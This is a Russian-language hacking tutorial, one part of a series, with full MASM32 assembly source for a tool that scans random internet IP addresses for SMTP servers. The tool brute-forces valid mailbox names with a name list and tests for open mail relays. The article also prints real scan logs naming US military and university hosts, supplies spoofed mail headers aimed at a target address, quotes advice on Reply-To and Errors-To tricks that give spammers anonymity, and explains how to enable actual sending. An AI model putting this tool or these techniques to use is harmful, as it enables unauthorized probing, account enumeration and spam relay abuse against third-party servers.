Поиски свободного «почтальона Печкина». Часть
56.3
Поиск доступных удаленных SMTP – серверов.Автор: _follower
/ TPOC
Итак, мы занялись рассмотрением
особенностей удаленных SMTP – серверов. Ну что мы
могли бы сделать сразу? Не приступая к написанию большего количества кода, а
просто подправив имеющийся. Ведь не зря же говорят, что локальная серка плюс
задержки дает в сумме рабочую модель глобальной сети. Вот этим то и
воспользуемся.
Построим программу, которая
будет:
·
генерировать случайный IP – адрес;
·
получать DNS – имя хоста с этим
IP;
·
производить попытку подключения к этому адресу по порту 25;
·
определять путем перебора законного пользователя этого
SMTP – сервера;
·
обрывать соединение.
Код в основном тот же что и в третьем шаге, но есть
некоторые вкрапления. Вы удивитесь как все просто. Наверное, настолько, что Вы
скажете - «этого шага вообще не стоило бы выделять :)».
Рассмотрим код:
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\kernel32.inc
include \masm32\include\ws2_32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\user32.lib
;---------------------------------------------------------------
includelib \masm32\lib\msvcrt.lib
include datez.inc
MailRep PROTO :DWORD,:DWORD
localtime PROTO c:DWORD
time PROTO c:DWORD
GetSegCount PROTO :DWORD,:BYTE
ParseBuffer PROTO :DWORD,:DWORD,:DWORD,:DWORD
.code
;---------------------------------------------------------------
_this_time proc
invoke time,NULL
mov this_time,eax
invoke localtime,ADDR this_time
.IF eax == NULL
invoke StdOut,ADDR Error_time
ret
.ENDIF
mov lpNew_Time,eax
invoke MemCopy,lpNew_Time,ADDR New_Time,sizeof New_Time
add New_Time.tm_year,1900
add New_Time.tm_mon,1
invoke wsprintf,ADDR TextBuf,ADDR template,\
New_Time.tm_year,\
New_Time.tm_mon,\
New_Time.tm_mday,\
New_Time.tm_hour,\
New_Time.tm_min,\
New_Time.tm_sec
mov eax,offset TextBuf
ret
_this_time endp
;---------------------------------------------------------------
clear_buff_ proc uses ecx edi _addrbuff:DWORD,_sizebuff:DWORD
mov ecx,_sizebuff
mov edi, _addrbuff
___r:
mov byte ptr [edi],20h
inc edi
loop ___r
mov byte ptr [_addrbuff+ecx],0
ret
clear_buff_ endp
;---------------------------------------------------------------
gen proc max_num:dword
mov eax,08088405h
xor edx,edx
mul seed
inc eax
mov seed,eax
mul max_num
ret
gen endp
;---------------------------------------------------------------
recvlp proc
pushad
mov ecx,512
lea edi,offset r_buf
r:
mov byte ptr [edi],00h
inc edi
loop r
mov byte ptr [r_buf+512],0
popad
invoke recv,sock,addr r_buf,512,0
.IF EAX!=SOCKET_ERROR
invoke StdOut,ADDR tab1
invoke StdOut,ADDR r_buf
.ENDIF
ret
recvlp endp
;---------------------------------------------------------------
ParseBuffer proc uses ebx edx ecx edi esi _str:DWORD,\
_szstr:DWORD,\
_sub:DWORD,\
_szsub:DWORD
LOCAL _i:DWORD
LOCAL _j:DWORD
LOCAL _b:DWORD
; 11 : int i=0;
mov _i, 0
; 12 : int j=0;
mov _j, 0
; 13 : int b=0;
mov _b, 0
; 14 :
; 15 :
; 16 : for (i = 0; i <= szstr; i++)
mov _i, 0
jmp @L2
@L1:
mov eax, _i
inc eax
mov _i, eax
@L2:
mov ecx, _i
cmp ecx, _szstr
jg @L_exit0
; 18 : for (j = 0; j <= szsub; j++)
mov _j, 0
jmp @L4
@L3:
mov edx, _j
inc edx
mov _j, edx
@L4:
mov eax, _j
cmp eax, _szsub
jg @L6
; 20 : if (str[i]==sub[j])
mov ecx, _str
add ecx, _i
movsx edx, BYTE PTR [ecx]
mov eax, _sub
add eax, _j
movsx ecx, BYTE PTR [eax]
cmp edx, ecx
jne @L5
; 22 : b++;
mov edx, _b
inc edx
mov _b, edx
; 23 : if (b>=szsub)
mov eax, _b
cmp eax, _szsub
jz @L5
; 25 : return(&str[i+szsub]);
mov ecx, _i
add ecx, _szsub
mov eax, _str
add eax, ecx
inc eax
jmp @L_quit
@L5:
; 29 : }
jmp @L3
@L6:
; 30 : }
jmp @L1
@L_exit0:
; 31 :
; 32 : return(0);
xor eax, eax
@L_quit:
; 33 : }
ret ;0 <================== убрать !!!!
ParseBuffer endp
;---------------------------------------------------------------
GetSegCount proc in_str:DWORD, delim:BYTE
LOCAL dummy_str[1024]:BYTE
LOCAL ctr:DWORD
xor ebx, ebx
mov ctr, 0
invoke lstrcpyn, ADDR dummy_str, [in_str], 1024 ; Copy in_str contents to dummy_str
invoke lstrcat, ADDR dummy_str, ADDR delim ; add delimiting character
; to the last part of the string
; to count the last segment
mov al, delim
lea edi, dummy_str
mov ecx, sizeof dummy_str
reload: ; reload
add ctr, 1
dscan:
inc ebx
cmp byte ptr dummy_str[ebx], NULL ; checks if scasb goes beyond the string
je Done ; terminator
scasb ; scan for delimiting character
je reload ; Found delimiting character?
jmp dscan
Done: ; Done scanning!
mov eax, ctr
ret
GetSegCount endp
;---------------------------------------------------------------
gen_IP proc uses ebx
invoke Sleep,10
invoke GetTickCount
mov seed,eax
mov ebx,4
pushad
invoke gen,254
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcpy,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR p
invoke gen,254
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR p
invoke gen,254
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR p
invoke gen,254
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR spc
popad
ret
gen_IP endp
;---------------------------------------------------------------
;---------------------------------------------------------------
; #########################################################################
MailRep proc _strSubj:DWORD,_strData:DWORD
LOCAL ia :in_addr
LOCAL _strSub_ [50] :BYTE
LOCAL _strDat_ [250] :BYTE
; #########################################################################
invoke lstrcpyn, ADDR _strSub_, _strSubj, 49
invoke lstrcpyn, ADDR _strDat_, _strData, 249
invoke CreateFile,ADDR fname_log,\
GENERIC_WRITE ,\;
FILE_SHARE_READ or FILE_SHARE_WRITE,\;
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov pFile_log,eax
;***********************************************************************
;***********************************************************************
;***********************************************************************
.WHILE 1
call gen_IP
___first:
call _this_time
invoke StdOut,eax
invoke StdOut,ADDR tab1
invoke StdOut,ADDR IP
invoke RtlZeroMemory,ADDR s_IP_str,250
invoke lstrcpy,ADDR s_IP_str-2,ADDR IP
;__________________________________________________________________________
; Тут содержимое письма
;invoke lstrcpy,ADDR s_IP_str,ADDR _strDat_
invoke lstrcat,ADDR s_IP_str,ADDR _strDat_
;__________________________________________________________________________
invoke RtlZeroMemory,ADDR s_SubjectIP,50
;invoke lstrcpy,ADDR s_SubjectIP,ADDR IP
;__________________________________________________________________________
; Тут тема письма
;invoke lstrcpy,ADDR s_SubjectIP,ADDR ...
invoke lstrcat,ADDR s_SubjectIP,ADDR _strSub_
;__________________________________________________________________________
invoke StdOut,ADDR succ
;invoke _writeLog,ADDR succ
; #########################################################################
; #########################################################################
; #########################################################################
; #########################################################################
invoke WSAStartup,101h,offset wsadata
cmp eax,INVALID_SOCKET
je ___error
invoke socket,AF_INET,SOCK_STREAM,0
cmp eax,INVALID_SOCKET
je ___error
mov sock,eax
;------------------------------------------------------------
invoke inet_addr, ADDR IP ;try to convert IPv4 -> NetByteType
.if eax == INADDR_NONE
invoke gethostbyname, eax
.else
mov ia.S_un.S_addr,eax
invoke gethostbyaddr,addr ia, sizeof ia, AF_INET
.endif;
.if eax == NULL
invoke StdOut,ADDR szFmtHostNotFound
jmp __cleanup
.endif
invoke StdOut,(_hostent ptr [eax]).h_name
__cleanup:
;------------------------------------------------------------
invoke htons,25
mov s_addr.sin_port,ax
mov s_addr.sin_family,AF_INET
invoke inet_addr,ADDR IP
mov s_addr.sin_addr,eax
invoke connect,sock,addr s_addr,sizeof s_addr
cmp eax,SOCKET_ERROR
je ___error
invoke StdOut,ADDR lf
call recvlp
;поздоровкатся-----------------------------------------------------
invoke send,sock,addr s_helo,szhelo,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
pushad
;-------------------------------------------------------250
xor ecx,ecx
mov cx,30
lea esi, byte ptr[r_buf]
lea edi,s_DNS_host_
___sec_bl:
lodsb
cmp al,' '
jz ___jmp_next
loop ___sec_bl
___jmp_next:
xor ecx,ecx
mov cx,30
___m1_str:
lodsb
cmp al,' '
jz ___exit_str
stosb
loop ___m1_str
___exit_str:
popad
;-------------------------------------------------------250
invoke lstrcpyn,ADDR s_DNS_host_s,ADDR s_DNS_host_,50
invoke StdOut,ADDR tab1
invoke StdOut,ADDR s_DNS_host_
invoke StdOut,ADDR lf
;от кого:---------------------------------
invoke send,sock,addr s_from_c,szfrom,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
cmp dword ptr [r_buf],' 055'
jz ___MAIL_FROM_fail
cmp dword ptr [r_buf],' 155'
jz ___MAIL_FROM_fail
cmp dword ptr [r_buf],' 355'
jz ___MAIL_FROM_fail
jmp ___MAIL_FROM_ok
___MAIL_FROM_fail:
invoke GetSegCount, ADDR s_DNS_host_, "."
dec eax
mov dword ptr count_ , eax
.WHILE count_ >0
invoke clear_buff_, ADDR s_from_d,50
lea esi, szAvFw
___load_next_name_1:
lodsb
test al, al
jnz ___load_next_name_1
mov al, BYTE PTR [esi]
test al, al
jz ListDone
invoke lstrcpy,ADDR s_from_d,ESI
invoke lstrcat,ADDR s_from_d,ADDR s_sobaka
invoke lstrcat,ADDR s_from_d,ADDR s_DNS_host_
invoke StdOut,ADDR tab1
invoke StdOut,ADDR s_from_d
invoke StdOut,ADDR lf
invoke send,sock,ADDR s_from_c, szfrom,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
;------------------------------------------ чистим поле MAIL FROM:<
invoke clear_buff_, ADDR s_from_d,50
;--------------------------
cmp dword ptr [r_buf],' '
jz ___quit
cmp dword ptr [r_buf],' 005'
jz ___next
cmp dword ptr [r_buf],' 105'
jz ___next
cmp dword ptr [r_buf],' 305'
jz ___next
cmp dword ptr [r_buf],' 055'
jz ___next
cmp dword ptr [r_buf],' 355'
jz ___next
; Тут нужно востанивить значение полей s_from_c db "MAIL FROM:<"
;s_from_cc db "MAIL FROM:<" - 11
; db "_follower@mail.ru" - 17
; db 33 dup(20h) - 33
; db ">",0dh,0ah - 3
; ______________________
; 64
invoke lstrcpyn,ADDR s_from_c,ADDR s_from_cc,64
jmp ___MAIL_FROM_ok
___next:
jmp ___load_next_name_1
ListDone:
invoke ParseBuffer,ADDR s_DNS_host_,SIZEOF s_DNS_host_,ADDR p,SIZEOF p -1
invoke lstrcpy,ADDR s_DNS_host_,EAX
invoke StdOut,ADDR s_DNS_host_
mov eax, dword ptr count_
dec eax
mov dword ptr count_, eax
.ENDW
___MAIL_FROM_ok:
invoke send,sock,addr s_to_c,szto,0
call recvlp
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
cmp dword ptr [r_buf],' 055'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 155'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 355'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 255'
jz ___MAIL_TO_fail
jmp ___MAIL_TO_ok
___MAIL_TO_fail:
invoke lstrcpyn,ADDR s_DNS_host_,ADDR s_DNS_host_s,50
invoke GetSegCount, ADDR s_DNS_host_, "."
dec eax
mov dword ptr count_ , eax
.WHILE count_ >0
lea esi, szAvFw
___load_next_name_2:
lodsb
test al, al
jnz ___load_next_name_2
mov al, BYTE PTR [esi]
test al, al
jz ListDone_1
invoke lstrcpy,ADDR s_to_d,ESI
invoke lstrcat,ADDR s_to_d,ADDR s_sobaka
invoke lstrcat,ADDR s_to_d,ADDR s_DNS_host_
invoke StdOut,ADDR tab1
invoke StdOut,ADDR s_to_d
invoke StdOut,ADDR lf
;-----------------------------------------------------------------------------------------------
cld
mov cx,50
; мы выбрали EDI так как ESI - у нас смотрит на перечень имен "Aaron","Andrey"...
mov edi,offset s_to_c
m1:
inc edi
mov al, byte ptr [edi]
cmp al,0
jz m2 ;выход, если 0
loop m1
m2:
mov byte ptr [edi],20h
;-----------------------------------------------------------------------------------------------
invoke send,sock,ADDR s_to_c, szto,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
invoke clear_buff_, ADDR s_to_d,50
cmp dword ptr [r_buf],' '
jz ___quit
cmp dword ptr [r_buf],' 005'
jz ___next_
cmp dword ptr [r_buf],' 105'
jz ___next_
cmp dword ptr [r_buf],' 305'
jz ___next_
cmp dword ptr [r_buf],' 055'
jz ___next_
cmp dword ptr [r_buf],' 355'
jz ___next_
cmp dword ptr [r_buf],' 455'
jz ___next_
;s_to_c db "RCPT TO: <" - 10
;s_to_d db "animator@e-mail.ru " - 28
; db 22 dup(20h) - 22
;s_to_e db">",0,0dh,0ah - 4
;szto equ $ - offset s_to_c ------------
; 64
invoke lstrcpyn,ADDR s_to_c,ADDR s_to_cc,64
jmp ___MAIL_TO_ok
___next_:
jmp ___load_next_name_2
ListDone_1:
invoke ParseBuffer,ADDR s_DNS_host_,SIZEOF s_DNS_host_,ADDR p,SIZEOF p -1
invoke lstrcpy,ADDR s_DNS_host_,EAX
invoke StdOut,ADDR s_DNS_host_
mov eax, dword ptr count_
dec eax
mov dword ptr count_, eax
.ENDW
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
___MAIL_TO_ok:
; ----------------------------------------------------------------
;invoke send,sock,addr s_data,szdata,0
;.IF EAX!=SOCKET_ERROR
;.ENDIF
;call recvlp
;invoke send,sock,addr s_headers,szheaders,0
;.IF EAX!=SOCKET_ERROR
;.ENDIF
;call recvlp
; ----------------------------------------------------------------
___quit:
invoke send,sock,addr s_quit,szquit,0
call recvlp
; ----------------------------------------------------------------
;cmp dword ptr [r_buf],' 122'
;jz ___success
; ----------------------------------------------------------------
___error:
invoke StdOut,ADDR lf
invoke closesocket,sock
invoke WSACleanup
;------------------------------------------ чистим поле DNS
invoke RtlZeroMemory,ADDR s_DNS_host_,50
invoke RtlZeroMemory,ADDR s_DNS_host_s,50
.ENDW
___success:
invoke StdOut,ADDR lf
call _this_time
invoke StdOut,eax
invoke StdOut,ADDR str_mail_sending
invoke closesocket,sock
invoke WSACleanup
invoke CloseHandle,pFile_log
ret
MailRep endp
end
|
Результаты:
Итак, я получил рабочий файл ну и запустил его в конце рабочего дня.
D:\_temp\_Mail\13>_mailrep_use.exe >mailrep.log
|
Открыл утром этот mailrep.log
ну и посмотрел чего там за ночь “словилось” :)
Ну, работал он, правда, долго. Почти четыре
часа. Но результаты, при таких скромных усилиях, - просто радуют! Посмотрите,
что мы словили - какой-то военный (судя по домену -
mil) ресурс (saruman.tinker.af.mil).
Что-то у них в войсках, видимо, администраторам недоплачивают. :))
.
.
.
.
[2005.7.13-20:13:51] 137.240.223.3 -> ...
220 saruman.tinker.af.mil ESMTP Wed, 13 Jul 2005 12:16:43 -0500 (CDT)
250 saruman.tinker.af.mil Hello [198.172.157.13], pleased to meet you
saruman.tinker.af.mil
250 2.1.0 <_follower@mail.ru >... Sender ok
550 5.7.1 <animator@e-mail.ru>... Relaying denied. IP name lookup failed [198.172.157.13]
Aaron@saruman.tinker.af.mil
250 2.1.5 <Aaron@saruman.tinker.af.mil >... Recipient ok
221 2.0.0 saruman.tinker.af.mil closing connection
.
.
.
.
.
[2005.7.14-13:44:55] 132.42.248.35 -> ...
220 atilla.spangdahlem.af.mil ESMTP Thu, 14 Jul 2005 12:47:46 +0200 (CEST)
250 atilla.spangdahlem.af.mil Hello [198.172.157.13], pleased to meet you
atilla.spangdahlem.af.mil
250 2.1.0 <_follower@mail.ru >... Sender ok
550 5.7.1 <animator@e-mail.ru >... Relaying denied. IP name lookup failed [198.172.157.13]
Aaron@atilla.spangdahlem.af.mil
250 2.1.5 <Aaron@atilla.spangdahlem.af.mil >... Recipient ok
221 2.0.0 atilla.spangdahlem.af.mil closing connection
.
.
.
.
.
[2005.7.15-7:26:3] 207.101.124.97 -> 207-101-124-97-rev.solutionnetworks.com
220 hosting.big-blue.net ESMTP Sendmail 8.13.1/8.13.1; Fri, 15 Jul 2005 00:13:25 -0400 (EDT)
250 hosting.big-blue.net Hello [198.172.157.13], pleased to meet you
hosting.big-blue.net
250 2.1.0 <_follower@mail.ru >... Sender ok
550 5.7.1 <animator@e-mail.ru > Relaying denied.
Aaron@hosting.big-blue.net
550 5.1.1 <Aaron@hosting.big-blue.net >... User unknown
Adam@hosting.big-blue.net
550 5.1.1 <Adam@hosting.big-blue.net >... User unknown
Alba@hosting.big-blue.net
550 5.1.1 <Alba@hosting.big-blue.net >... User unknown
Alberto@hosting.big-blue.net
550 5.1.1 <Alberto@hosting.big-blue.net >... User unknown
Alecia@hosting.big-blue.net
550 5.1.1 <Alecia@hosting.big-blue.net >... User unknown
web@hosting.big-blue.net
550 5.1.1 <web@hosting.big-blue.net >... User unknown
admin@hosting.big-blue.net
550 5.1.1 <admin@hosting.big-blue.net >... User unknown
root@hosting.big-blue.net
250 2.1.5 <root@hosting.big-blue.net >... Recipient ok
221 2.0.0 hosting.big-blue.net closing connection
[2005.7.15-14:49:41] 150.83.47.39 -> ...
220 hoihoi.otaru-uc.ac.jp ESMTP Sendmail 8.11.7p1+Sun/3.7W; Fri,15Jul2005 20:52:47 +0900 (JST)
250 hoihoi.otaru-uc.ac.jp Hello [198.172.157.13], pleased to meet you
hoihoi.otaru-uc.ac.jp
250 2.1.0 <_follower@mail.ru >... Sender ok
553 5.7.1 <animator@e-mail.ru >... Relay operation rejected
Aaron@hoihoi.otaru-uc.ac.jp
250 2.1.5 <Aaron@hoihoi.otaru-uc.ac.jp >... Recipient ok
221 2.0.0 hoihoi.otaru-uc.ac.jp closing connection
|
Учитывая то что:
• “атакуемый“ нашим письмом адрес
есть – animator@e-mail.ru и
• заголовок письма имеет следующий
вид:
s_headers db "TO: animator@e-mail.ru",0dh,0ah
db "Subject: "
s_SubjectIP db 50 dup(0)
db 0dh,0ah
db "Reply-To:<animator@e-mail.ru>",0dh,0ah
db "Errors-To:<animator@e-mail.ru>",0dh,0ah
db "FROM: animator@e-mail.ru",0dh,0ah,0dh,0ah
|
… есть основания надеяться, что письмо достигнет адресата :)
[1.2] Читаем пока не устарело. ;)
« Самое простое, что используют злоумышленники: указывают в поле «Rej ly-То»
адрес, отличный от адреса отправителя. Если жертва не обратит на это
обстоятельство внимания231, то она окажется, введена в заблуждение и вполне
способна сообщить требуемую информацию. Но это слишком известный пример
представляющий сегодня не более чем исторический интерес.»
«А вот о чем действительно знает не каждый пользователь: если получатель
существует, то письмо либо возвращается отправителю, либо пересылается по
адресу, указанный в поле «Errors-To:». Злоумышленник выбирает правдоподобна р в
действительности не существующий адрес (скажем, root@provider.com). a поле «Errors-To»
указывает свой почтовый адрес (желательно, не бросающийся глаза).»
«При попытке ответить отправителю почтовый клиент получателя извлечет содержимое
поля «Reply-To» и отправит письмо по указанному в нем адресу. Именно этим и
пользуются спамеры для достижения полной анонимности, с одной стороны, и
возможности получения ответов от заинтересованных лиц — с другой».
Рассмотрим некоторые пункты:
1)
gen_IP proc uses ebx
invoke Sleep,10
invoke GetTickCount
mov seed,eax
mov ebx,4
pushad
invoke gen,254
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcpy,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR p
invoke gen,254
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR p
invoke gen,254
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR p
invoke gen,254
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR spc
popad
ret
gen_IP endp
|
В нашем случае, конечно, случайным должен быть весь IP – адрес, а не его
часть после “192.168.”. Поэтому мы поместили в программу процедуру, которая
выполняет эту задачу.
2)
;------------------------------------------------------------
invoke inet_addr, ADDR IP
.if eax == INADDR_NONE
invoke gethostbyname, eax
.else
mov ia.S_un.S_addr,eax
invoke gethostbyaddr,addr ia, sizeof ia, AF_INET
.endif;
.if eax == NULL
invoke StdOut,ADDR szFmtHostNotFound
jmp __cleanup
.endif
invoke StdOut,(_hostent ptr [eax]).h_name
__cleanup:
;------------------------------------------------------------
|
[1.1.]
Для того, что бы узнать IP-адрес машины (зная её имя), существует функция
gethostbyname.
struct hostent FAR *gethostbyname (const char FAR *name );
|
Пример вызова:
hostent* d_addr; // Структура, в которую будет помещен IP адрес, // при возврате.
hostent* hn = gethostbyname ("www.anotherd.com");
|
Если функция отработала успешно, то структура hn
содержит нужные нам данные, иначе gethostbyname возвращает NULL;
Рассмотрим структуру
hostent.
struct hostent {
char FAR * h_name; // Официальное имя машины
char FAR * FAR * h_aliases; // Массив альтернативных имен машины // (заканчивающийся 0)
short h_addrtype; // Тип адреса (AF_INET...)
short h_length; // Длина адреса в байтах
char FAR * FAR * h_addr_list; // Список адресов (заканчивающийся 0)
};
|
Итак, после вызова gethostbyname нас интересуют следующие
поля этой структуры:
h_name - можем узнать официальное имя машины :)
h_addrtype - тип адреса (для TCP/IP должно быть AF_INET)
h_length - длинна адреса (для TCP/IP V4 - 4 байта)
h_addr_list - массив адресов (заканчивающийся 0).
|
Для получения первого адреса в массиве, можно использовать макрос
h_addr_list[0].
Итак, получим IP-адрес интересующей нас машины:
1. Необходимо вызвать gethostbyname (имя машины) и проанализировав полученные
назад данные, выбрать из массива h_addr_list ее адрес.
2. Адрес машины сохраним в структуре sockaddr_in .
Полный пример:
sockaddr_in adr;
...
hostent* d_addr = gethostbyname ("www.anotherd.com");
adr.sin_addr.S_un.S_addr = *(DWORD* ) hn-›h_addr_list[0];
...
|
Структура
in_addr представляет собой адрес интернета. Посмотрим структуру в файле
winsock.h
/*
* Internet address (old style... should be updated)
*/
struct in_addr {
union {
struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
struct { u_short s_w1,s_w2; } S_un_w;
u_long S_addr;
} S_un;
|
Посмотрим
структуру in_addr в файле windows.inc
in_addr STRUCT
S_un ADDRESS_UNION <>
in_addr ENDS
ADDRESS_UNION UNION
S_un_b S_UN_B <>
S_un_w S_UN_W <>
S_addr DWORD ?
ADDRESS_UNION ENDS
S_UN_B STRUCT
s_b1 BYTE ?
s_b2 BYTE ?
s_b3 BYTE ?
s_b4 BYTE ?
S_UN_B ENDS
S_UN_W STRUCT
s_w1 WORD ?
s_w2 WORD ?
S_UN_W ENDS
|
Итак, видно что …
S_un_b - адрес в формате как
четыре u_chars.
S_un_w - адрес в формате как два u_shorts.
S_addr - адрес в формате u_long.
Идем далее.Для получения
имени машины по её IP-адресу используем функцию gethostbyaddr.
Функция gethostbyaddr - получая на вход адрес, тип адреса и его длину,
возвращает имя машины.
struct HOSTENT FAR * gethostbyaddr(
const char FAR *addr, // Адрес машины (в сетевом виде)
int len, // Длинна адреса
int type // Тип адреса
);
|
Пример:
DWORD a = inet_addr ("192.168.0.4"); // Адрес машины в сетевом формате
hn = gethostbyaddr ((char* )&a, 4, AF_INET);
|
Если функция выполнилась
успешно, поле h_name структуры hn будет содержать имя машины.
3)
;----------------------------------------------------------------
;invoke send,sock,addr s_data,szdata,0
;.IF EAX!=SOCKET_ERROR
;.ENDIF
;call recvlp
;invoke send,sock,addr s_headers,szheaders,0
;.IF EAX!=SOCKET_ERROR
;.ENDIF
;call recvlp
;----------------------------------------------------------------
|
Мы не будем слать письмо, а
только проверим эту возможность. Если Вы хотите всетаки отослать письмо, то
разрешите эти строки. Но я думаю - не стоит тревожить военных людей по всяким
пустякам ;))
4)
; ----------------------------------------------------------------
;cmp dword ptr [r_buf],' 122'
;jz ___success
; ----------------------------------------------------------------
|
Если вы хотите остановить программу после
успешной пересылки письма, вам нужно позаботиться разрешить эти строки.
Но проблема-то осталась, не
решена! Ну, некогда нам ждать по 3 – часа. Надо быстрее. Неужели ничего нельзя
сделать! Ответ – МОЖНО! Для этого давайте посмотрим, что будет, если
использовать поисковые системы (www.ya.ru например, или какой-то другой
поисковик.)
Перечень используемой литературы.
[1.1] - Winsock для всех (часть 2) Автор: Pepper (http://club.shelek.com/print.php?id=36)
[1.2] - К. Касперский. «Техника сетевых атак». Том 1. СОЛОН-Р.Москва 2001
Исходник [C] _follower / TPOC | Новые события из жизни нашей лаборатории Статьи и переводы лаборатории TPOC Программы лаборатории TPOC Здесь мы сообщаем Вам, какие творения скоро появятся Ссылки на сайты, где можно найти больше информации История нашей лаборатории и ее члены |